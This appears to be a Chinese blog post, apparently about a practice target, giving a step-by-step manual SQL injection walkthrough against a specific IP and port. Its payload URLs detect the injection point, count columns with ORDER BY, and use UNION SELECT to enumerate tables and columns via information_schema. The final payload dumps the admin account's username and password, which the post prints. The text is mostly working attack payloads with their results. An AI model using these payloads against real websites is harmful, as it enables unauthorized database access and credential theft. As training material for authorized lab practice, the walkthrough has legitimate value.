SQL注入 (1)

第一步:测试是否存在注入点,用and语句测试。

  1. http://120.203.13.75:6815/?id=1 and 1=1 
  2. http://120.203.13.75:6815/?id=1 and 1=2

一网址可以正常显示,二网址则无法显示,所以推断有注入点。

第二步:猜测字段

http://120.203.13.75:6815/?id=1 order by 2

http://120.203.13.75:6815/?id=1 order by 3

 

order by 2可以正常显示,order by 3显示不出来,所以该表存在2个字段。

第三步:找到页面中数据输入点。

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,2

显示2,说明2这个位置是输出点。

第四步:查看版本和当前数据库

http://120.203.13.75:6815/?id=1 and 1=2  union select 1,version()

http://120.203.13.75:6815/?id=1 and 1=2  union select 1,database()

第五步:通过数据库版本,查看目录表

1.查看所有表名:

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

2.查看字段名字

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,group_concat(table_name) from information_schema.columns where table_schema=database()

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database()

然后知道了username和password在admin中

第六步:查找密码

http://120.203.13.75:6815/?id=1 and 1=2 union select 1,concat(id,'.',username,'.',password) from admin 

用户名:admin

密码:hellohack

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值